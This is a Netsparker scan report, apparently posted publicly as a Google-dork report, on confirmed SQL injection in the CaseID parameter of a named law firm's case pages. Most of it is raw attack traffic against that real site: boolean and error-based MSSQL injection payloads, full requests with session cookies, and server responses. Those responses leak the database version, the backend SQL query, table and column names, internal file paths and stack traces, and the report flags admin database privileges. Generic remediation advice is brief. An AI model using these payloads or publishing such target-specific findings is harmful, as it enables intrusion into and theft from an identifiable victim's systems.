SQL Injection, Database Error, CWE-89, CAPEC-66, pomerantzlaw.com, DORK, GHDB Report REPORT SUMMARY


Loading


Netsparker - Scan Report Summary
TARGET URL
http://www.pomerantzlaw.com/cases.html?action...
SCAN DATE
5/12/2011 6:48:23 AM
REPORT DATE
5/12/2011 8:41:57 AM
SCAN DURATION
00:05:10

Total Requests

Average Speed

req/sec.
12
identified
8
confirmed
4
critical
4
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
33 %
IMPORTANT
8 %
LOW
25 %
INFORMATION
33 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/cases.html CaseID GET Boolean Based SQL Injection Yes
CaseID GET Boolean Based SQL Injection Yes
CaseID GET SQL Injection Yes
CaseID GET SQL Injection Yes
Database User Has Admin Privileges Yes
Internal Server Error Yes
Cookie Not Marked As HttpOnly Yes
CaseID GET Database Error Message No
Microsoft SQL Server Identified Yes
E-mail Address Disclosure No
IIS Version Disclosure No
[Possible] Internal Path Leakage (Windows) No
Boolean Based SQL Injection

Boolean Based SQL Injection

2 TOTAL
CRITICAL
CONFIRMED
2
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns

Parameters

Parameter Type Value
action GET caseDetail
CaseID GET ' OR 'ns'='ns

Request

GET /cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 12 May 2011 11:48:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>Force Protection, Inc.</title>
<meta name="description" content="" />




<link href="/main.css" rel="stylesheet" type="text/css" />

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>Force Protection, Inc.</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>FRPT</p>

<p class="item_name">Class Period:</p>
<p>01/18/2007 &#8211; 03/14/2008</p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

<p><a href="images/Force Protection Notice.pdf" target="_blank">Document 1</a><br />
<p><a href="images/Force Protection POC.pdf" target="_blank">Document 2</a><br />
</div>
<div class="column_rt">
<img src="images/Force Protection.png" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case5.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="5" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p><span style="text-decoration: underline;">Settlement</span></p>
<p>Please see the Notice and Claim Form documents above (called &ldquo;Document 1&rdquo; and &ldquo;Document 2,&rdquo; respectively) for details about the Force Protection settlement process. These documents are also available on the settlement administrators' website at www.ForceProtectionClassAction.com.</p>
<p>The Claims Administrator will be accepting Proof of Claim and Release forms for this Settlement for one additional month beyond the original March 11, 2011 deadline. In order to participate in the distribution of the Settlement, you must submit a Proof of Claim and Release form to the Claims Administrator's Office, postmarked no later than April 11, 2011, at the following address: <br /> &nbsp;<br /> Force Protection, Inc. Securities Litigation c/o Rust Consulting, Inc.<br /> P.O. Box 2389<span style="text-decoration: underline;"><br /> </span>Faribault, MN 55021-9089</p>
<p><span style="text-decoration: underline;">Background</span><br /><br />The complaint against Force Protection and its senior executives alleges that prior to and during the class period, defendants continually boasted that Force Protection's dominance in the Mine Resistant Ambush Protected ("MRAP") vehicles market was due to its superior product design and rapid delivery rates.&nbsp; In June 2007, the Inspector General of the Department of Defense questioned both of these claims and criticized the awarding of contracts to Force Protection on a sole-source basis and without competitive bidding.&nbsp; The report noted that there were other U.S. companies that could have competed with Force Protection on both product capability and faster delivery schedules.&nbsp; The complaint further alleges that the company's stock traded at inflated levels during the class period allowing defendants to sell $87.4 million worth of stock.<br /><br />On September 29, 2009, Pomerantz and co-lead counsel persuaded the court to deny defendants' motion to dismiss the complaint.&nbsp; The court then issued an order requiring the parties to immediately commence discovery.&nbsp; Pomerantz, along with co-lead counsel, subsequently reviewed approximately one million pages of produced documents and moved for class certification last spring.&nbsp; While that motion was pending, the parties began settlement negotiations, which concluded in late-September 2010.<br /><br />The settlement covers those investors who purchased Force Protection common stock from January 18, 2007, through and including March 14, 2008. The final approving hearing was held on January 25, 2011 before the Hon. C. Weston Houck of the U.S. District Court for the District of South Carolina and on March 9, 2011, Judge Houck issued a written order approving the settlement terms, including attorneys' fees.<br /><span style="text-decoration: underline;"><br /></span></p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns', 'Force Protection, Inc.')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns&print=1"><img src="/images/printericon.jpg" width="40"></a>
</td>
</tr>
</table>
</div> <!-- End right content-->


</div> <!-- End content-->
<div id="footer"> <!-- Start Footer-->

<div id="footer_menu"><a href="/the-firm.html">The Firm</a> <a href="/Locations.html">Locations</a> <a href="/attorneys.html">Attorneys</a> <a href="/other/class-action-faqs.html">Class Action FAQ&lsquo;s</a> <a href="/other/disclaimer.html">Disclaimer</a> <a href="/other/privacy.html">Privacy</a> <a href="/other/site-map.html">Site Map</a> <a href="/other/search.html">Search</a></div>
<div id="footer_right">
<p>Copyright 2008. Pomerantz Haudek Grossman &amp; Gross LLP</p>

<p>Attorney Advertising. Prior results do not guarantee a similar outcome</p>
<a href=" http://www.elawmarketing.com " target="_blank">Law firm website by eLawMarketing</a>
</div>
</div> <!-- End Footer-->
</div> <!-- End wrapper-->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10112362-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns&print=1

Parameters

Parameter Type Value
action GET caseDetail
CaseID GET ' OR 'ns'='ns
print GET 1

Request

GET /cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns&print=1 HTTP/1.1
Referer: http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 19152
Content-Type: text/html; charset=UTF-8



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript" src="/js/jquery-1.3.1.min.js"></script>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />








<title>Force Protection, Inc.</title>
<meta name="description" content="" />




<link href="/print.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
window.print()
</script>

<!--[if IE 6]>
<style type="text/css" media="screen">
body{behavior:url(/csshover.htc); font-size:100%;}
</style>
<![endif]-->
</head>

<body>



<!-- END of freefind onpage results html -->



<div id="wrapper"> <!-- Start wrapper-->






<div id="menuh"> <!-- Start menu-->
<ul>
<li class="bt_1"><a href="/home.html" class="top"></a></li>
<li class="bt_2"><a href="/the-firm.html" class="top"></a>

<ul class="sub_2">

<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="sub_button">What Makes Pomerantz Unique</a></li>

<li><a href="/the-firm/firm-history.html" class="sub_button">Firm History</a></li>

<li><a href="/the-firm/diversity-recruiting.html" class="sub_button">Diversity & Recruiting</a></li>

<li class="last_item"><a href="/the-firm/latest-news-accomplishments.html" class="sub_button">Latest News & Accomplishments</a></li>

</ul>

</li>
<li class="bt_3"><a href="/attorneys.html" class="top"></a>

</li>
<li class="bt_4"><a href="/practice-areas.html" class="top"></a>

<ul class="sub_4">

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=3" class="sub_button">Securities Litigation</a></li>

<li><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=4" class="sub_button">Antitrust Litigation</a></li>

<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>Force Protection, Inc.</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>FRPT</p>

<p class="item_name">Class Period:</p>
<p>01/18/2007 &#8211; 03/14/2008</p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

<p><a href="images/Force Protection Notice.pdf" target="_blank">Document 1</a><br />
<p><a href="images/Force Protection POC.pdf" target="_blank">Document 2</a><br />
</div>
<div class="column_rt">
<img src="images/Force Protection.png" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case5.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="5" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p><span style="text-decoration: underline;">Settlement</span></p>
<p>Please see the Notice and Claim Form documents above (called &ldquo;Document 1&rdquo; and &ldquo;Document 2,&rdquo; respectively) for details about the Force Protection settlement process. These documents are also available on the settlement administrators' website at www.ForceProtectionClassAction.com.</p>
<p>The Claims Administrator will be accepting Proof of Claim and Release forms for this Settlement for one additional month beyond the original March 11, 2011 deadline. In order to participate in the distribution of the Settlement, you must submit a Proof of Claim and Release form to the Claims Administrator's Office, postmarked no later than April 11, 2011, at the following address: <br /> &nbsp;<br /> Force Protection, Inc. Securities Litigation c/o Rust Consulting, Inc.<br /> P.O. Box 2389<span style="text-decoration: underline;"><br /> </span>Faribault, MN 55021-9089</p>
<p><span style="text-decoration: underline;">Background</span><br /><br />The complaint against Force Protection and its senior executives alleges that prior to and during the class period, defendants continually boasted that Force Protection's dominance in the Mine Resistant Ambush Protected ("MRAP") vehicles market was due to its superior product design and rapid delivery rates.&nbsp; In June 2007, the Inspector General of the Department of Defense questioned both of these claims and criticized the awarding of contracts to Force Protection on a sole-source basis and without competitive bidding.&nbsp; The report noted that there were other U.S. companies that could have competed with Force Protection on both product capability and faster delivery schedules.&nbsp; The complaint further alleges that the company's stock traded at inflated levels during the class period allowing defendants to sell $87.4 million worth of stock.<br /><br />On September 29, 2009, Pomerantz and co-lead counsel persuaded the court to deny defendants' motion to dismiss the complaint.&nbsp; The court then issued an order requiring the parties to immediately commence discovery.&nbsp; Pomerantz, along with co-lead counsel, subsequently reviewed approximately one million pages of produced documents and moved for class certification last spring.&nbsp; While that motion was pending, the parties began settlement negotiations, which concluded in late-September 2010.<br /><br />The settlement covers those investors who purchased Force Protection common stock from January 18, 2007, through and including March 14, 2008. The final approving hearing was held on January 25, 2011 before the Hon. C. Weston Houck of the U.S. District Court for the District of South Carolina and on March 9, 2011, Judge Houck issued a written order approving the settlement terms, including attorneys' fees.<br /><span style="text-decoration: underline;"><br /></span></p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='+OR+'ns'%3d'ns&print=1', 'Force Protection, Inc.')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (expression)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">variable [THISPRINTURL] doesn't exist</td>
</tr>












<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm: line 71</b><br />

<blockquote style="font-size : 10;" id="__cp1">
69: &lt;tr&gt;<br>70: &lt;td width=&quot;250&quot;&gt;<br><b>71: &lt;a href=&quot;#ThisPrintURL#&quot;&gt;&lt;img src=&quot;/images/printericon.jpg&quot; width=&quot;40&quot;&gt;&lt;/a&gt;</b><br>72: &lt;/td&gt;<br>73: &lt;/tr&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm: line 6<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
4: &lt;cfinclude template=&quot;admin.cfm&quot;&gt;<br>5: &lt;cfelse&gt;<br><b>6: &lt;cfinclude template=&quot;default-real.cfm&quot;&gt;</b><br>7: &lt;/cfif&gt;<br>8: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\view\Render.cfc: line 19<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
17: variables.SiteUser = PageRequest.get('SiteUser');<br>18: &lt;/cfscript&gt;<br><b>19: &lt;cfinclude template=&quot;/lightbase2/applications/#ApplicationConfig.get(&quot;Name&quot;)#/layout/page/#Page.get(&quot;Template&quot;)#.cfm&quot;&gt;</b><br>20: &lt;/cffunction&gt;<br>21: <br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 78<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
76: var RenderThis = LightWire.getTransient(&quot;Render&quot;);<br>77: <br><b>78: RenderThis.page(PageRequest);</b><br>79: <br>80: // Render.page(PageRequest);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5&..
SQL Injection

SQL Injection

2 TOTAL
CRITICAL
CONFIRMED
2
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Crawler confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%..

Parameters

Parameter Type Value
action GET caseDetail
CaseID GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Extracted Data

microsoft sql server 2000 - 8.00.2039 (intel x86) may 3 2005 23:18:38 copyright (c) 1988-2003 microsoft corporation standard edition on windows nt 5.2 (build 3790: service pack 2)

Request

GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22815
Content-Type: text/html; charset=UTF-8


<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td>
</tr>







<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' <br /> </td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>






<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
